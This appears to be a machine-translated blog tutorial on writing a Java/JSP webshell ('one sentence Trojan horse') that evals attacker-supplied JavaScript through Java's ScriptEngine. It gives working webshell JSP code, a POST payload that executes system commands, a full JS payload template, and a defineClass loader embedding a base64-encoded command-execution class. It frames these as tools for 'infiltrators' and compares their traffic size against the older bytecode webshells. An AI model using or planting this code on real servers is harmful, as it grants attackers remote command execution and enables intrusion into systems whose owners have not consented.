Simply make a Java Trojan horse program hand in hand

preface

For a long time, the Java Trojan horse has been implemented by entering the bytecode defineClass. The advantage of this method is that it can completely enter a class and realize almost all functions in Java. The disadvantage is that the Payload is too large and not as easy to modify as a scripting language. There are also many features, such as inheriting ClassLoader, reflecting and calling defineClass, etc. This paper presents a Java one sentence Trojan horse: a one sentence Trojan horse implemented by JS engine in Java.

Basic principles

  1. Java does not have an eval function. Js has an eval function, which can parse strings as code.
  2. Java has built its own ScriptEngineManager class since 1.6. It supports calling js natively without installing a third-party library.
  3. ScriptEngine supports objects called Java in Js.

To sum up, we can use java to call eval of JS engine, and then call Java objects in Payload in turn. This is the core principle of the new Java sentence proposed in this paper.

The full name of ScriptEngineManager is javax.script.ScriptEngineManager, which comes with Java 6. Among them, the js parsing engine adopted by Java 6/7 is Rhino, and Nashorn has been replaced since java8. Different parsing engines have some differences for the same code, which is reflected later.

If you say the principle, you can make it clear in a sentence or two, but the difficulty lies in the preparation of Payload. The biggest difficulty of cross language call is the conversion of data types and methods. For example, if there is a byte array in Java but not in Js, what should I do? What if there are pointers in C + + but not in Java?

During the implementation, I stepped on a lot of pits. This article is breaking with you, hoping to provide you with some help.

Get script engine

//Get by script name:
ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");  //It can also be abbreviated as js
//Get by file extension: 
ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");  
//Get by MIME type: 
ScriptEngine engine = new ScriptEngineManager().getEngineByMimeType("text/javascript");

Binding object

ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("mr6"));

Or through the overloaded function of eval, directly put the object into a HashMap

new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant"), new javax.script.SimpleBindings(new java.util.HashMap() {{
put("response", response);
put("request", request);
}}))

eval

Based on the above two steps, there are many ways to write, for example:

shell.jsp

<%

     javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
     engine.put("request", request);
     engine.put("response", response);
     engine.eval(request.getParameter("mr6"));

%>

Or simply abbreviate it into one sentence:

<%
     new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("mr6"), new javax.script.SimpleBindings(new java.util.HashMap() {{
            put("response", response);
            put("request", request);
        }}));
%>

Take the execution command as an example:

❝ POST: mr6=java.lang.Runtime.getRuntime().exec("calc"); ❞

java call local calculator

The effect of command execution can be achieved.

Basic grammar

It's boring to read documents. Here's something to use.

Interested students can also look at the original document: https://docs.oracle.com/en/java/javase/12/scripting/java-scripting-programmers-guide.pdf

Calling Java methods

Add the fully qualified class name in front of it

var s = [3];
s[0] = "cmd";
s[1] = "/c";
s[2] = "whoami";//yzddmr6
var p = java.lang.Runtime.getRuntime().exec(s);
var sc = new java.util.Scanner(p.getInputStream(),"GBK").useDelimiter("\\A");
var result = sc.hasNext() ? sc.next() : "";
sc.close();

Import Java type

var Vector = java.util.Vector;
var JFrame = Packages.javax.swing.JFrame;

 //This writing method only supports Nashorn, Rhino does not support it
var Vector = Java.type("java.util.Vector")
var JFrame = Java.type("javax.swing.JFrame")

Create an array of Java types

// Rhino
var Array = java.lang.reflect.Array
var intClass = java.lang.Integer.TYPE
var array = Array.newInstance(intClass, 8)

// Nashorn
var IntArray = Java.type("int[]")
var array = new IntArray(8)

Import Java classes

By default, Nashorn does not import Java packages. This is mainly to avoid type conflicts. For example, if you write a new String, how does the engine know whether you new a Java String or a js String? Therefore, all Java calls need to add a fully qualified class name. But it's inconvenient to write like this.

At this time, Mozilla Rhino came up with a way to complete an extension file, which provides importClass and importPackage methods to import the specified Java package.

  • importClass imports the specified Java class. Java.type is now recommended
  • importPackage imports a java package, similar to import com.yzddmr6. *. Now Java importer is recommended

It should be noted here that Rhino's error handling mechanism for the syntax. When the accessed class exists, Rhino loads the class. When it does not exist, Rhino takes it as the package name without reporting an error.

load("nashorn:mozilla_compat.js");

importClass(java.util.HashSet);
var set = new HashSet();

importPackage(java.util);
var list = new ArrayList();

In some special cases, the imported global package will affect the functions in js, such as class name conflict. At this time, you can use the Java importer and the with statement to set a scope of use for the imported java package.

// create JavaImporter with specific packages and classes to import

var SwingGui = new JavaImporter(javax.swing,
                            javax.swing.event,
                            javax.swing.border,
                            java.awt.event);
with (SwingGui) {
    // In with, you can call the classes in swing to prevent pollution
    var mybutton = new JButton("test");
    var myframe = new JFrame("test");
}

Method invocation and overloading

In JavaScript, a method is actually an attribute of an object, so in addition to calling the method with. You can also use [] to call the method:

var System = Java.type('java.lang.System');
System.out.println('Hello, World');    // Hello, World
System.out['println']('Hello, World'); // Hello, World

Java supports Overload methods. For example, println of System.out has multiple Overload versions. If you want to specify a specific Overload version, you can use [] to specify the parameter type. For example:

var System = Java.type('java.lang.System');
System.out['println'](3.14);          // 3.14
System.out['println(double)'](3.14);  // 3.14
System.out['println(int)'](3.14);     // 3

Payload structure design

The details are written in the notes

//Import basic expansion
try {
  load("nashorn:mozilla_compat.js");
} catch (e) {}
//Import common packages
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.java.io);

var output = new StringBuffer(""); //output
var cs = "${jspencode}"; //Set character set encoding
var tag_s = "${tag_s}"; //Start symbol
var tag_e = "${tag_e}"; //End symbol
try {
  response.setContentType("text/html");
  request.setCharacterEncoding(cs);
  response.setCharacterEncoding(cs);
  function decode(str) {
    //Parameter decoding
    str = str.substr(2);
    var bt = Base64DecodeToByte(str);
    return new java.lang.String(bt, cs);
  }
  function Base64DecodeToByte(str) {
    importPackage(Packages.sun.misc);
    importPackage(Packages.java.util);
    var bt;
    try {
      bt = new BASE64Decoder().decodeBuffer(str);
    } catch (e) {
      bt = Base64.getDecoder().decode(str);
    }
    return bt;
  }
  function asoutput(str) {
    //Echo encryption
    return str;
  }
  function func(z1) {
    //eval function

    return z1;
  }
  output.append(func(z1)); //Add function echo
} catch (e) {
  output.append("ERROR:// "+ e.toString()); / / output error
}
try {
  response.getWriter().print(tag_s + asoutput(output.toString()) + tag_e); //Echo
} catch (e) {}

A pit of grammatical problems

Mutual conversion between two language objects

It should be noted that where there may be type conflicts between Java and JS, the fully qualified class name should be added even if the package is imported.

One of the problems that has been plagued for a long time when writing the payload is that after importing java.lang, the new String(bt,cs) is written without adding the fully qualified class name, resulting in a string address being printed all the time.

The correct operation is new java.lang.String(bt,cs). Because there are String classes in both Java and Js, according to the priority, the objects directly new will be Js objects.

Type comparison table is attached below:

JavaScript Value

JavaScript Type

Java Type

Is Scriptable

Is Function

{a:1, b:['x','y']}

object

org.mozilla.javascript.NativeObject

「+」

-

[1,2,3]

object

org.mozilla.javascript.NativeArray

「+」

-

1

number

java.lang.Double

-

-

1.2345

number

java.lang.Double

-

-

NaN

number

java.lang.Double

-

-

Infinity

number

java.lang.Double

-

-

-Infinity

number

java.lang.Double

-

-

true

boolean

java.lang.Boolean

-

-

"test"

string

java.lang.String

-

-

null

object

null

-

-

undefined

undefined

org.mozilla.javascript.Undefined

-

-

function () { }

function

org.mozilla.javascript.gen.c1

「+」

「+」

/.*/

object

org.mozilla.javascript.regexp.NativeRegExp

「+」

「+」

Differences in Rhino/Nashorn parsing

This is also a pit at that time. Look at the following code

var readonlyenv = System.getenv();
      var cmdenv = new java.util.HashMap(readonlyenv);
      var envs = envstr.split("\\|\\|\\|asline\\|\\|\\|");
      for (var i = 0; i < envs.length; i++) {
        var es = envs[i].split("\\|\\|\\|askey\\|\\|\\|");
        if (es.length == 2) {
          cmdenv.put(es[0], es[1]);
        }
      }
      var e = [];
      var i = 0;
      print(cmdenv+'\n');
      for (var key in cmdenv) {//crux
        print("key: "+key+"\n");
        e[i] = key + "=" + cmdenv[key];
        i++;
      }

Cmdenv is a HashMap. This code can be parsed normally by Nashorn engine in Java 8. When var key in cmdenv, it outputs the key of cmdenv

However, when running under Java 6, Rhino takes it as a js object and outputs its properties

Therefore, when it comes to this hybrid writing method, there will be objections. Different engines have different explanations.

The solution is to use Java iterators without js.

var i = 0;
    var iter = cmdenv.keySet().iterator();
    while (iter.hasNext()) {
      var key = iter.next();
      var val = cmdenv.get(key);
      //print("\nkey:" + key);
      //print("\nval:" + val);
      e[i] = key + "=" + val;
      i++;
    }

Reflective pit

In Java, if the package names of classes between different versions are different, we usually can't import directly, but use reflection.

For example, when decoding base64, Java is written as follows

public byte[] Base64DecodeToByte(String str) {
        byte[] bt = null;
        String version = System.getProperty("java.version");
        try {
            if (version.compareTo("1.9") >= 0) {
                Class clazz = Class.forName("java.util.Base64");
                Object decoder = clazz.getMethod("getDecoder").invoke(null);
                bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
            } else {
                Class clazz = Class.forName("sun.misc.BASE64Decoder");
                bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
            }
            return bt;
        } catch (Exception e) {
            return new byte[]{};
        }
    }

After rewriting it into js style, I found that there are some strange bugs. (later, I found that reflection can also be implemented. It's troublesome to import Java types and then pass in reflection parameters.)

function test(str) {
  var bt = null;
  var version = System.getProperty("java.version");

  if (version.compareTo("1.9") >= 0) {
    var clazz = java.lang.Class.forName("java.util.Base64");
    var decoder = clazz.getMethod("getDecoder").invoke(null);
    bt = decoder
      .getClass()
      .getMethod("decode", java.lang.String.class)
      .invoke(decoder, str);
  } else {
    var clazz = java.lang.Class.forName("sun.misc.BASE64Decoder");
    bt = clazz
      .getMethod("decodeBuffer", java.lang.String.class)
      .invoke(clazz.newInstance(), str);
  }
  return bt;
}

However, in Js, we don't need to be so troublesome. As mentioned above, if the importPackage contains a nonexistent package name, the Js engine will ignore this error. Due to the loose language characteristics of Js, we only need ortho + exception capture to complete the purpose. It greatly reduces the complexity of payload writing.

function Base64DecodeToByte(str) {
    importPackage(Packages.sun.misc);
    importPackage(Packages.java.util);
    var bt;
    try {
      bt = new BASE64Decoder().decodeBuffer(str);
    } catch (e) {
      bt = Base64.getDecoder().decode(str);
    }
    return bt;
  }

Minimum operation

In theory, we can use one sentence of the js engine to realize the functions of all byte codes in one sentence. To put it another way, what should we do if some functions are really difficult to implement, or if we want to apply the existing payload.

We can call js in java and then call defineClass to implement:

Write a command execution class: calc.java

import java.io.IOException;

public class calc {
    public calc(String cmd){
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

After compilation

> base64 -w 0 calc.class
yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIA

Fill in the payload below

try {
  load("nashorn:mozilla_compat.js");
} catch (e) {}
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.java.io);
var output = new StringBuffer("");
var cs = "UTF-8";
response.setContentType("text/html");
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs);
function Base64DecodeToByte(str) {
  importPackage(Packages.sun.misc);
  importPackage(Packages.java.util);
  var bt;
  try {
    bt = new BASE64Decoder().decodeBuffer(str);
  } catch (e) {
    bt = new Base64().getDecoder().decode(str);
  }
  return bt;
}
function define(Classdata, cmd) {
  var classBytes = Base64DecodeToByte(Classdata);
  var byteArray = Java.type("byte[]");
  var int = Java.type("int");
  var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(
    "defineClass",
    byteArray.class,
    int.class,
    int.class
  );
  defineClassMethod.setAccessible(true);
  var cc = defineClassMethod.invoke(
    Thread.currentThread().getContextClassLoader(),
    classBytes,
    0,
    classBytes.length
  );
  return cc.getConstructor(java.lang.String.class).newInstance(cmd);
}
output.append(
  define(
    "yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIAGA==",
    "calc"
  )
);
response.getWriter().print(output);

Calculator ejected successfully

In other words, under special circumstances, the new sentence can continue to be compatible with the original bytecode sentence, and even reuse the original Payload.

test

Test environment: Java > = 6

For the same column directory Payload, the original byte code packet length is 7378, while the new JSP sentence is only 2481, almost one-third of the original.

Find loopholes

Bytecode mode packet

Column directory

last

Java based on JS engine has smaller volume, more variety and more flexibility. The range is Java 6 and above, which can basically meet the requirements, but the Payload is very troublesome to write and difficult to debug. It has both advantages and disadvantages.

The new sentence does not mean that the original way of entering bytecode must be replaced, but it can provide more choices for infiltrators in more complex situations.

Posted by brmcdani on Mon, 06 Dec 2021 15:14:18 -0800